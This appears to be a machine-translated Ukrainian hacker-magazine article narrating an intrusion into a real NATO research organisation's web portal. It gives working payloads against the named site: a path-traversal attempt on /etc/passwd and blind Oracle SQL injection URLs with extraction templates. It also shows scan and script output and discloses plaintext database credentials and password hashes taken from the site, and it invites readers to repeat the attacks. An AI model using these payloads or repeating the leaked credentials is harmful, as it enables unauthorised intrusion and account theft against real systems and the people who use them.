У моєму матеріалі ти можеш побачити, як важко, виявляється, зробити правильну систему веб-аутентифікації. Особливо якщо це стосується великої корпоративного порталу. І тим більше, якщо він відповідає за безпеку цілої країни, так притім не однієї.
У нашому журналі з'явилася дуже хороша практика - стали публікуватися аудитори інформаційної безпеки. Очевидно, що актуальність теми аудиту зросла в багато разів. Наш постійний читач, звичайно, розуміє чому. Досить переглянути архівну підшивку журналу за минулий час і можна сміливо стверджувати, що за допомогою технологій і програм, про які писали в цих "хакерів", можна успішно воювати (і не тільки на комерційному ринку).
До речі, про корпоративну безпеку. Багато хто вже давно говорять про те, що атаки таких класів як SQL-ін'єкція, використання XSS, LFI / RFI або помилок в аутентифікації, зживають свій вік і більше не актуальні. Багато фахівців наводять у своїх презентаціях всілякі графіки, на яких відображені весь час зменшуються "стовпчики" з відсотками виявляються вразливостей подібного роду.
Практика показує, що довіряти таким цифрам не можна, тому що, як правило, у якості вихідних даних для красивих графіків використовуються результати автоматичного сканування веб-ресурсів не менш автоматичними сканерами. Звичайно, сучасні автоматичні сканери (подібні Acunetix, nikto, w3af і sqlmap) вже стали схожі на штучний інтелект - вони не вміють хіба що тільки заварювати каву і надавати ескорт-послуги. Але, на жаль, вони нездатні розпізнати і розкрити правду про складних логічних помилках аутентифікації, приховані дефекти генерації вихідних даних, а часто і обробки вхідних даних. Чи треба говорити про простих вразливості, які самі по собі не становлять небезпеки, але, будучи пов'язані між собою, можуть дати новий вектор атаки для зловмисника?
І ось вам, будь ласка.
Рішуче НАТО
Як відомо, Організація Північноатлантичного договору, відома також під абревіатурою НАТО, є військово-політичним блоком, створеним давним-давно для протидії можливим військовим діям, спрямованим проти країн Європи та Америки. Росія (тоді ще Радянський Союз) у цей блок не увійшла, тому що споконвічно передбачалося, що й вона теж може ці самі агресивні військові дії здійснювати.
У структурі НАТО існують різного роду організації, які відповідають за розробки в галузі безпеки - починаючи від військовій, науково-технічної і закінчуючи інформаційної. І далі мова піде про інформаційну безпеку, а конкретніше - про науковий інститут Research & Technology Organisation (RTO), створений в рамках НАТО.
У нашому журналі вже писали про уразливість військових сайтів наших "союзників". Як-то раз герої інформаційної війни міцно підмітили, що у "сетецентріческіх воїнів" безпека є, інформація є, а от безпека інформації - на жаль, не на висоті. Ну що ж, спростуємо або підтвердимо?
Перший огляд
Науково-дослідна організація НАТО - підприємство не з маленьких. Під стать фінансовому розмахом і веб-сайт, який з часом з простої інтернет-вітрини виріс у цілий портал, у нетрях якої тепер зберігають навіть Військову Таємницю. Ось, наприклад, для того, щоб отримати секретні доповіді, учасникам не менш секретних військових симпозіумів видають логіни і паролі для доступу до файлового сервера та веб-сайту RTO.NATO.INT. Все б добре, от тільки учасники підкачали - живуть вони в різних країнах і, в основному, за тридев'ять земель, а тому було велено розмістити все це добро на виділених серверах з підключенням до мережі Інтернет. Тут казочці кінець, а далі - початок процесу незалежного аудиту застосовуваних рішень по захисту Військової Таємниці підслідною організації.
Подивимося для початку на таку дрібницю, як файл robots.txt:
User-agent: *
Disallow: / images /
Disallow: / img /
Disallow: / homepix /
Disallow: / rndimg /
Disallow: / Include /
Disallow: / hpix /
Disallow: / Mailer /
Disallow: / InfoPack /
Disallow: / aspx /
Disallow: / bin /
Disallow: / cgi-bin /
Disallow: / ContactUs.aspx
Disallow: / Copyright.htm
Disallow: / css /
Disallow: / Detail.asp
Disallow: / enrolments /
Disallow: / FAQ.htm
Disallow: / foad.htm
Disallow: / fr /
Disallow: / help.htm
Disallow: / pfp.ppt
...
Disallow: / Prog /
Disallow: / Reports.asp
Disallow: / SendAbstractDetails.aspx
Disallow: / tor.asp
Disallow: / Taxo /
Disallow: / Variables.asp
Disallow: / variables.asp
Disallow: / voc.htm
Disallow: / vpn.html
Disallow: / Webmail.asp
Disallow: / yourws.asp
Sitemap: http://www.rto.nato.int/sitemap.xml
Написаний явно не в 2010 році, цей путівник у світ конфіденційної інформації RTO містить у собі навіть вказівку на конкретний файл, який можна завантажити і подивитися (pfp.ppt). Чи треба говорити про необхідність використання nikto для сканування типових каталогів, якщо вони вже досить "вдало" перераховані адміністратором веб-сайту? Заради спортивного інтересу, ми все ж таки запустимо nikto і перевіримо, хто виграв:
-------------------------------------------------- -------------------------
Target IP: 62.23.200.67
Target Hostname: wwwrto.nato.int
Target Port: 80
Start Time: 2010-05-08 14:00:15
-------------------------------------------------- -------------------------
Server: RTA Web Server
- / Robots.txt - contains 47 'disallow' entries which should be manually viewed. (GET)
- Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD
OSVDB-877: HTTP method ('Allow' Header): 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST.
- Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
OSVDB-877: HTTP method ('Public' Header): 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST.
OSVDB-0: ETag header found on server, fields: 0x7036cddda14ca1: 18b2
OSVDB-3092: GET / sitemap.xml: This gives a nice listing of the site content.
3577 items checked: 49 item (s) reported on remote host
End Time: 2010-05-08 14:49:54 (2979 seconds)
-------------------------------------------------- -------------------------
1 host (s) tested
Test Options:-Cgidirs all-vhost wwwrto.nato.int-host wwwrto.nato.int wwwrto.nato.int
Виграв все-таки адміністратор сайту (ще б пак, він точно знає про сайт більше, ніж nikto:)), висловимо йому подяку за відмінний довідник по прихованим сторінок. Так, наприклад, запис webmail.asp дає нам доступ до внутрішньої поштовій системі, а запис Detail.asp без всяких сканерів підказує нам перевірити уразливості введення у відповідному сценарії веб-сервера.
Паралельно повзаючи по сайту та перевіряючи всі "disallow" записи в robots.txt, підключимо webscarab. У його журналах після ходіння по "сайтам" часто зустрічаються несподівані "смакоту", про які можна почухати зуби sqlmap'у і w3af'у. Тільки заговорили про це і тут же - хлоп, центральний скрипт, який приймає цікавий параметр "topics". Дуже цікавим він виявляється, якщо підставити як топіка цей же самий скрипт:
http://www.rto.nato.int/Main.asp?topic=Main.asp
При цьому, якщо файл має розширення. ASP, то він інтерпретується (наприклад, якщо ми підставимо "Main.asp" в якості параметра topic, то веб-сервер піде у нескінченний цикл, демонструючи нам задзеркалля - нескінченні вкладення Main.asp в самого себе , а якщо ми вкажемо тільки що знайдений "pfp.ppt", то отримаємо його бінарне вміст).
Ще одна дрібниця ... в нашу свинськи скарбничку. Тобі, дорогий наш читач, ми залишаємо можливість спробувати комбінації такого вигляду:
http://www.rto.nato.int/Main.asp?topic= … /../../../ .. / etc / passwd
Oracle всемогутній, Oracle непереможний
Вже дуже довго існує міф про те, що веб-додатки, побудовані з бек-ендом у вигляді СУБД Oracle, невразливі до таких атак як SQL-ін'єкції та XSS. Міф про неможливість ін'єкції в Oracle з'явився з-за функції бази даних використовувати мітку-заповнювач - при підготовці запиту оператор вказує місця (іменуючи або нумеруючи їх), де будуть згодом розміщені вхідні дані SQL-запиту. Але на те він і міф, щоб його хтось зруйнував (правильне розуміння причин поява вразливості - ось запорука можливості руйнування стереотипів). Проблеми з можливістю виникнення SQL-ін'єкції насправді закладено не стільки в базі даних, скільки в програмі-оболонці, яка реалізує взаємодію з користувачем. Для перевірки адже достатньо використовувати кілька простих прийомів. Наприклад, додавати до параметрів рядок виду "+ or + chr (77) = chr (77)". Використання функції chr () дозволяє уникнути вказівки одинарних лапок, які нещадно фільтруються.
Саме це є причиною виникнення можливості проведення "сліпий" ін'єкції на сайті RTO. Ось, наприклад, запит з такою ін'єкцією:
метод "наукового тику":
http://www.rto.nato.int/Detail.asp?ID=-1+or+chr (77) = chr (77)
працюємо з СУБД Oracle:
http://www.rto.nato.int/Detail.asp?ID=-1+or+1 = (SELECT +1 + FROM + DUAL)
Власне, за допомогою цієї уразливості ми і дізналися, що ззаду (backend) встановлена СУБД Oracle, а не MySQL або SQLite (до речі, в ній теж можливо провести SQL-ін'єкцію - журнал писав про це в травневому номері). Мабуть, НАТОвські програмісти занадто поклалися на безпеку Oracle і забули елементарні правила безпечного сексу. А даремно! Одна тільки книжка про оракловскій аудит від Іллі Медведовского і його співробітників чого тільки варта.
Сліпа ін'єкція, звичайно, зажадала від нас певних зусиль з автоматизації процесу. Благо, бабусина підшивка журналу Хакер за минулий рік допомогла - у ній виявилося все, що потрібно для створення скриптів на Perl. Ми навіть змогли швидко скласти два запити - один визначає довжини рядка, яку ми хочемо "витягти" з бази даних, а другий витягує один символ з цього рядка:
а) запит для отримання довжини рядка:
http://www.rto.nato.int/Detail.asp?ID=-1+OR+ (select + length (table_name) + from + user_tables + where + '% ТУТ УМОВА ЗАПИТУ%' + AND + rownum = 1) = % ТУТ ДОВЖИНА, які перевіряють%
б) запит для отримання рядка (тут конкретно - імені стовпця у зазначеній таблиці):
http://www.rto.nato.int/Detail.asp?ID=-1+OR+ (select + substr (column_name,% ТУТ ПОЗИЦІЯ символи в імені стовбця%, 1) + from + all_tab_columns + where + table_name = ' .% ТУТ ІМ'Я ТАБЛИЦІ%. '+ AND +'% ТУТ УМОВА ЗАПИТУ% '+ AND + rownum = 1) = chr (% номер символу%)
Для того, щоб отримати тільки перший рядок з даними з усього запиту, ми скористалися ключовим словом rownum діалекту SQL-бази даних Oracle, за допомогою якого можна визначати умова над вже зібраним набором рядків з вихідними даними. Використання всіляких технологій прискорення "сліпого" перебору залишаємо для тренування:). Є, правда, один дуже великий мінус - це кількість таблиць (у тому числі службових) в базах Oracle. Наосліп витягувати всю схему таблиць - титанічна праця, тому ми цікавилися тільки таблицями, в назві яких є магічне слово "PASSWORD". На малюнку наведена схема c найбільш цікавими таблицями і стовпцями. На диску до журналу ти знайдеш скрипти, якими можна поповнити цю схему:).
Серед досить великого набору таблиць найбільш цікавими здаються ось ці:
RTO_MEMBERS.MEMBER_PASSWORD
RTO_PANEL.PANEL_PASSWORD
USER_DB_LINKS.PASSWORD
CONTACTLOGIN.CLO_PASSWORD
APPLICATIONLOGIN.PASSWORD
CONTACT.CLO_PASSWORD
Значення даних, які в них зберігаються, вражають не менше, ніж операція "Анаконда" коаліційних військ в Афганістані.
USERNAME: RTAMASTER
PASSWORD: droopy
DB_LINK: TEST.RTA.INT
USERNAME: WISE
PASSWORD: BUGSBUNNY
DB_LINK: WISE_LINK
Втім, зберігати паролі у відкритому вигляді властиво багатьом великим умам. Крім того, нас більше цікавлять паролі, які можна використовувати для входу в закриту частину сайту. Використовуємо давньогрецьке знання про двійковому пошуку і запустимо наш скрипт сліпого перебору:
DB Scanning table rto_panel
..........[ DBG: FOUND NUMBER 29.]
DB NUMBER OF ROWS FOUND: 29
Getting row 1
DB getting panel_webname
.......[ DBG: FOUND NUMBER 1.]
.........[ DBG: FOUND SYMBOL '' - 32]
DB
DB getting panel_password
.......[ DBG: FOUND NUMBER 16.]
........[ DBG: FOUND SYMBOL 'х' - 245]
........[ DBG: FOUND SYMBOL 'ї' - 191]
. . .
.........[ DBG: FOUND SYMBOL '$' - 36]
.........[ DBG: FOUND SYMBOL 'Е' - 168]
DB хїЙ) z <Ж! Д * Аt ¤ $ Е
DB 245 | 191 | 201 | 41 | 122 | 24 | 60 | 198 | 33 | 196 | 42 | 192 | 116 | 164 | 36 | 168 |
DB getting panel_number
.......[ DBG: FOUND NUMBER 7.]
.........[ DBG: FOUND SYMBOL 'R' - 82]
. . .
........[ DBG: FOUND SYMBOL 'A' - 65]
DB RTA-CSA
DB getting panel_alias
.......[ DBG: FOUND NUMBER 7.]
. . .
........[ DBG: FOUND SYMBOL 'A' - 65]
DB RTA-CSA
Важливими стовпцями з лістингу для нас є "panel_webname" і "panel_password", останній зберігає MD5 хеши паролів. Отримуємо всі хеши і ставимо їх на брут. Як правило, на цьому закінчуються всі стандартні зломи, але ми підемо далі.